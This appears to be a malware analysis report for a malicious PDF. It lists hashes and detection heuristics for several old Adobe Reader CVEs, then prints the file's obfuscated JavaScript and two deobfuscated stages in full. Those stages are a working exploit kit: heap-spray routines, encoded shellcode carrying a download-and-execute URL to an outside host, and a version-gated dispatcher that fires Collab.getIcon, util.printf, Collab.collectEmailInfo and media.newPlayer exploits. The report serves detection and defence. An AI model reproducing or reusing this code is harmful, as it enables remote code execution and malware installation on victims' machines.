Malicious PDF — malware analysis report

Static analysis result for SHA-256 f521bf4c0268607e…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-04
MD5: 764ab13c744a11c159bc89b6fe43bc64 SHA-1: 956e36642d06878039084ed83798b46a75bbc6e5 SHA-256: f521bf4c0268607e320d17d0152de2b72daf89f0244f64bdfb7427628f66780d
490 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://afggxcyayus.com/w.php?f=0&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x383 11420 bytes
SHA-256: aebe642535e9bca5e8f905ea61f391e522261d948442a2afc7e6e7d42432f3ff
Preview script
First 1,000 lines of the extracted script
w='';
w+='sl';
w+='i';
w+="ce";
j='gerb43bt';
j=j[w];
z
=
new
Array(52,6,29,4,38,56,16,53,15,36,9,75,68,46,19,19,9,75,54,67,14,0,9,75,68,3,54,67,9,75,28,3,14,0,9,75,14,30,46,0,9,75,46,46,3,54,9,75,19,0,67,37,9,75,0,37,68,38,9,75,68,38,46,37,9,75,37,67,0,37,9,75,28,37,68,38,9,75,3,19,62,67,9,75,28,19,68,38,9,75,46,46,37,68,9,75,19,19,42,38,9,75,3,14,68,38,9,75,37,46,46,67,9,75,46,46,28,0,9,75,68,62,31,67,9,75,62,3,14,14,9,75,54,54,62,37,9,75,38,68,54,54,9,75,0,37,68,38,9,75,67,46,46,37,9,75,46,30,0,19,9,75,28,3,37,19,9,75,68,28,54,38,9,75,31,0,46,0,9,75,14,0,68,3,9,75,3,62,28,3,9,75,14,38,14,30,9,75,3,62,0,67,9,75,68,38,3,19,9,75,46,67,28,3,9,75,28,0,68,38,9,75,28,68,46,3,9,75,54,3,37,46,9,75,68,38,3,19,9,75,31,37,28,19,9,75,54,3,37,46,9,75,67,30,46,46,9,75,0,62,0,30,9,75,6,42,54,67,9,75,67,3,37,46,9,75,42,38,46,46,9,75,38,14,37,54,9,75,46,68,62,37,9,75,28,0,54,31,9,75,67,62,37,68,9,75,37,42,67,38,9,75,42,6,37,46,9,75,14,38,0,37,9,75,46,38,54,62,9,75,28,3,62,54,9,75,3,14,14,19,9,75,3,14,68,38,9,75,37,46,31,0,9,75,19,19,42,42,9,75,37,67,68,38,9,75,68,42,0,38,9,75,14,67,0,19,9,75,3,0,54,54,9,75,37,67,31,0,9,75,42,68,68,38,9,75,42,42,37,46,9,75,37,0,68,38,9,75,37,46,68,38,9,75,6,38,67,3,9,75,3,30,3,14,9,75,14,38,67,46,9,75,6,42,3,46,9,75,19,68,68,38,9,75,68,37,31,37,9,75,37,67,28,42,9,75,28,0,46,46,9,75,30,19,37,46,9,75,54,46,14,38,9,75,19,68,68,38,9,75,68,38,37,68,9,75,19,6,54,28,9,75,3,30,37,3,9,75,30,68,14,68,9,75,54,54,54,54,9,75,14,31,54,54,9,75,14,68,54,30,9,75,37,37,37,37,9,75,37,37,37,37,9,75,3,37,3,68,9,75,0,37,19,6,9,75,54,54,19,68,9,75,37,37,37,37,9,75,3,37,37,37,9,75,67,37,68,46,9,75,3,37,62,30,9,75,68,38,3,3,9,75,68,38,14,67,9,75,62,37,3,14,9,75,67,46,68,46,9,75,54,54,37,3,9,75,19,68,14,46,9,75,19,14,19,54,9,75,37,37,37,37,9,75,28,3,19,68,9,75,19,67,28,31,9,75,3,0,19,42,9,75,62,19,54,54,9,75,67,0,68,46,9,75,68,38,37,68,9,75,14,68,14,68,9,75,54,54,19,62,9,75,54,54,54,54,9,75,37,31,14,38,9,75,28,31,14,38,9,75,14,67,68,62,9,75,37,62,37,0,9,75,37,37,37,37,9,75,3,67,68,42,9,75,37,67,31,0,9,75,37,0,67,28,9,75,28,31,31,0,9,75,19,28,19,3,9,75,67,28,28,46,9,75,31,0,0,0,9,75,28,19,37,0,9,75,46,46,28,31,9,75,67,28,46,31,9,75,31,0,0,0,9,75,31,37,37,68,9,75,28,46,31,42,9,75,3,46,31,37,9,75,54,68,19,68,9,75,37,37,37,37,9,75,54,54,37,37,9,75,37,67,3,19,9,75,14,68,68,38,9,75,67,30,46,46,9,75,67,28,3,62,9,75,62,42,0,0,9,75,28,28,37,37,9,75,19,31,28,37,9,75,67,28,28,0,9,75,62,42,0,0,9,75,31,14,37,3,9,75,19,67,19,0,9,75,67,19,19,67,9,75,62,42,0,0,9,75,37,37,37,30,9,75,68,6,3,30,9,75,37,0,67,62,9,75,68,68,46,37,9,75,62,42,0,0,9,75,0,62,37,0,9,75,19,6,3,62,9,75,19,6,37,37,9,75,3,46,37,37,9,75,19,6,3,28,9,75,54,54,37,37,9,75,62,0,3,19,9,75,67,37,68,3,9,75,62,19,28,3,9,75,37,37,19,6,9,75,54,54,3,46,9,75,37,0,3,19,9,75,37,37,19,6,9,75,14,38,68,46,9,75,3,46,37,67,9,75,3,19,54,54,9,75,68,46,37,0,9,75,37,67,67,46,9,75,37,31,14,38,9,75,62,46,14,38,9,75,68,37,0,28,9,75,37,37,46,54,9,75,54,6,28,3,9,75,68,37,0,28,9,75,37,37,46,54,9,75,67,0,28,3,9,75,37,37,19,6,9,75,54,14,19,6,9,75,3,19,54,54,9,75,14,68,37,68,9,75,54,14,30,67,9,75,54,54,54,54,9,75,0,14,68,14,9,75,14,67,37,14,9,75,54,14,30,68,9,75,37,14,68,6,9,75,19,54,68,30,9,75,38,42,37,62,9,75,67,6,46,46,9,75,3,38,68,6,9,75,67,19,62,38,9,75,28,30,0,19,9,75,62,6,46,19,9,75,28,37,31,54,9,75,28,0,19,68,9,75,28,37,28,0,9,75,31,54,46,6,9,75,19,62,31,54,9,75,19,28,19,19,9,75,28,68,19,28,9,75,28,30,19,46,9,75,28,30,19,62,9,75,28,46,28,3,9,75,19,46,31,14,9,75,19,42,19,54,9,75,28,28,31,54,9,75,28,37,31,14,9,75,28,37,19,68,9,75,19,19,46,54,9,75,46,37,46,42,9,75,19,3,31,19,9,75,46,3,46,42,9,75,37,37,37,37,36,63,54,75,51,67,74,43,22,51,4,14,70,52,29,61,29,6,49,73,35,44,5,18,57,43,50,14,61,29,6,40,50,14,51,53,74,57,72,31,13,73,35,44,5,29,6,2,15,29,6,63,33,29,6,15,29,6,40,16,75,38,16,74,29,43,51,53,61,37,49,73,35,24,31,44,63,29,14,74,75,29,51,4,29,6,63,33,4,54,75,51,67,74,43,22,51,4,38,8,61,44,5,52,6,29,4,42,10,53,15,51,14,18,4,7,29,29,6,35,61,44,63,52,6,29,4,52,18,15,37,8,37,67,37,67,37,67,37,67,63,52,6,29,4,6,42,42,29,15,37,8,0,37,37,37,37,37,63,52,6,29,4,69,6,35,50,22,6,42,15,75,51,14,16,67,6,69,14,61,38,56,16,53,44,63,52,6,29,4,16,67,58,50,14,51,15,69,6,35,50,22,6,42,40,50,14,51,53,74,57,72,31,63,52,6,29,4,73,35,15,6,42,42,29,39,61,16,67,58,50,14,51,2,37,8,46,68,44,63,52,6,29,4,35,6,29,16,69,15,75,51,14,16,67,6,69,14,61,71,9,75,30,37,30,37,9,75,30,37,30,37,71,44,63,35,6,29,16,69,15,14,70,52,29,61,35,6,29,16,69,49,73,35,44,63,52,6,29,4,67,22,75,51,74,31,15,61,52,18,39,37,8,0,37,37,37,37,37,44,24,6,42,42,29,63,54,22,29,61,52,6,29,4,67,22,75,51,74,15,37,63,67,22,75,51,74,13,67,22,75,51,74,31,63,67,22,75,51,74,2,2,44,5,42,10,53,34,67,22,75,51,74,65,15,35,6,29,16,69,2,69,6,35,50,22,6,42,63,33,4,52,6,29,4,22,52,14,29,54,50,22,18,15,75,51,14,16,67,6,69,14,61,71,9,75,37,67,37,67,9,75,37,67,37,67,71,44,63,18,57,43,50,14,61,22,52,14,29,54,50,22,18,40,50,14,51,53,74,57,13,0,0,30,3,31,44,5,22,52,14,29,54,50,22,18,2,15,22,52,14,29,54,50,22,18,63,33,4,74,57,43,16,40,67,22,50,50,6,38,45,74,22,29,14,15,23,22,50,50,6,38,40,67,22,50,50,14,67,74,66,64,6,43,50,12,51,54,22,61,5,16,75,38,56,21,71,71,49,64,16,53,21,22,52,14,29,54,50,22,18,33,44,63,33,4,54,75,51,67,74,43,22,51,4,69,29,43,51,74,54,61,44,5,51,22,69,15,75,51,14,16,67,6,69,14,61,71,9,75,37,7,37,7,9,75,37,7,37,7,9,75,37,7,37,7,9,75,37,7,37,7,71,44,63,52,6,29,4,69,6,35,50,22,6,42,15,75,51,14,16,67,6,69,14,61,38,56,16,53,44,63,57,14,6,69,38,50,22,67,10,15,51,22,69,2,69,6,35,50,22,6,42,63,38,43,53,38,50,22,67,10,15,75,51,14,16,67,6,69,14,61,71,9,75,37,7,37,7,9,75,37,7,37,7,71,44,63,57,14,6,42,14,29,16,43,70,14,15,31,37,63,16,69,29,6,35,15,57,14,6,42,14,29,16,43,70,14,2,57,14,6,69,38,50,22,67,10,40,50,14,51,53,74,57,63,18,57,43,50,14,61,38,43,53,38,50,22,67,10,40,50,14,51,53,74,57,13,16,69,29,6,35,44,5,38,43,53,38,50,22,67,10,2,15,38,43,53,38,50,22,67,10,63,33,4,54,43,50,50,38,50,22,67,10,15,38,43,53,38,50,22,67,10,40,16,75,38,16,74,29,43,51,53,61,37,49,16,69,29,6,35,44,63,38,50,22,67,10,15,38,43,53,38,50,22,67,10,40,16,75,38,16,74,29,43,51,53,61,37,49,38,43,53,38,50,22,67,10,40,50,14,51,53,74,57,39,16,69,29,6,35,44,63,18,57,43,50,14,61,38,50,22,67,10,40,50,14,51,53,74,57,2,16,69,29,6,35,13,37,8,0,37,37,37,37,44,5,38,50,22,67,10,15,38,50,22,67,10,2,38,50,22,67,10,2,54,43,50,50,38,50,22,67,10,63,33,4,64,14,64,15,51,14,18,4,7,29,29,6,35,61,44,63,54,22,29,61,43,15,37,63,43,13,62,0,37,37,63,43,2,2,44,5,64,14,64,34,43,65,15,38,50,22,67,10,2,57,14,6,69,38,50,22,67,10,63,33,4,52,6,29,4,51,75,64,15,62,31,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,63,75,74,43,50,40,69,29,43,51,74,54,61,71,9,0,3,37,37,37,54,71,49,51,75,64,44,63,33,4,54,75,51,67,74,43,22,51,4,53,14,74,43,67,22,51,61,44,5,52,6,29,4,6,29,29,35,15,51,14,18,4,7,29,29,6,35,61,44,63,43,54,61,6,69,69,40,42,22,67,40,23,22,50,50,6,38,40,53,14,74,12,67,22,51,44,5,52,6,29,4,69,6,35,50,22,6,42,15,75,51,14,16,67,6,69,14,61,38,56,16,53,44,63,52,6,29,4,57,11,73,3,37,37,23,25,15,69,6,35,50,22,6,42,40,50,14,51,53,74,57,72,31,63,52,6,29,4,73,35,15,37,8,0,37,37,37,37,37,39,61,57,11,73,3,37,37,23,25,2,37,8,46,68,44,63,52,6,29,4,35,6,29,16,69,15,75,51,14,16,67,6,69,14,61,71,9,75,30,37,30,37,9,75,30,37,30,37,71,44,63,35,6,29,16,69,15,14,70,52,29,61,35,6,29,16,69,49,73,35,44,63,52,6,29,4,69,3,7,56,17,19,3,54,15,61,37,8,37,67,37,67,37,67,37,67,39,37,8,0,37,37,37,37,37,44,24,37,8,0,37,37,37,37,37,63,54,22,29,61,52,6,29,4,52,73,67,55,1,30,19,35,15,37,63,52,73,67,55,1,30,19,35,13,69,3,7,56,17,19,3,54,63,52,73,67,55,1,30,19,35,2,2,44,5,6,29,29,35,34,52,73,67,55,1,30,19,35,65,15,35,6,29,16,69,2,69,6,35,50,22,6,42,63,33,4,52,6,29,4,74,41,32,57,25,38,48,18,15,75,51,14,16,67,6,69,14,61,71,9,37,30,71,44,63,18,57,43,50,14,61,74,41,32,57,25,38,48,18,40,50,14,51,53,74,57,13,37,8,0,37,37,37,44,5,74,41,32,57,25,38,48,18,2,15,74,41,32,57,25,38,48,18,63,33,4,74,41,32,57,25,38,48,18,15,71,25,40,71,2,74,41,32,57,25,38,48,18,63,6,69,69,40,42,22,67,40,23,22,50,50,6,38,40,53,14,74,12,67,22,51,61,74,41,32,57,25,38,48,18,44,63,33,33,4,6,47,50,75,53,43,51,16,15,6,69,69,40,69,50,75,53,12,51,16,63,52,6,29,4,16,52,15,69,6,29,16,14,12,51,74,61,6,69,69,40,52,43,14,18,14,29,59,14,29,16,43,22,51,40,74,22,45,74,29,43,51,53,61,44,40,67,57,6,29,7,74,61,37,44,44,63,54,22,29,61,52,6,29,4,43,15,37,63,43,13,6,47,50,75,53,43,51,16,40,50,14,51,53,74,57,63,43,2,2,44,5,43,54,61,6,47,50,75,53,43,51,16,34,43,65,40,51,6,64,14,15,15,36,66,45,67,29,43,69,74,36,44,5,52,6,29,4,50,52,15,6,47,50,75,53,43,51,16,34,43,65,40,52,14,29,16,43,22,51,63,33,33,4,43,54,61,61,50,52,15,15,30,44,60,60,61,61,16,52,15,15,68,44,27,27,61,50,52,13,15,68,40,62,31,44,44,44,5,53,14,74,43,67,22,51,61,44,63,33,14,50,16,14,4,43,54,61,50,52,15,15,28,40,62,44,5,69,29,43,51,74,54,61,44,63,33,14,50,16,14,4,43,54,61,61,61,16,52,15,15,19,44,60,60,61,16,52,15,15,28,44,44,27,27,61,50,52,13,28,40,62,62,44,44,5,38,8,61,44,63,33,14,50,16,14,4,43,54,61,61,50,52,26,15,30,40,62,44,60,60,61,50,52,13,15,30,40,31,44,60,60,61,50,52,26,15,68,40,62,46,44,60,60,61,50,52,13,15,68,40,62,28,44,44,5,54,75,51,67,74,43,22,51,4,6,61,44,5,75,74,43,50,40,69,29,43,51,74,42,61,36,69,20,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,4,21,4,35,35,35,35,62,62,62,36,49,51,14,18,4,1,6,74,14,61,44,44,63,33,52,6,29,4,57,15,6,69,69,40,69,50,75,53,12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a="4D+5 {aAx%kWI<e=sKw6@:oC/N>&7r92M}[y'0b-.Udi)S3PG,lnvgfQjh_V|(1;m]Ec8pz'*qtu";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}

"))";try{if(!google)throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 3852 bytes
SHA-256: cac36ea61645f8f8d52b09fdf533566c1c7b285cc1bb2e3ec9568ed8b6377add
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6766%u7867%u7963%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u303d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 3848 bytes
SHA-256: a9b5385e824d0aa77a69428232511b8352be7cb20e797abc443cc347c00c1c99
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6766%u7867%u7963%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u303d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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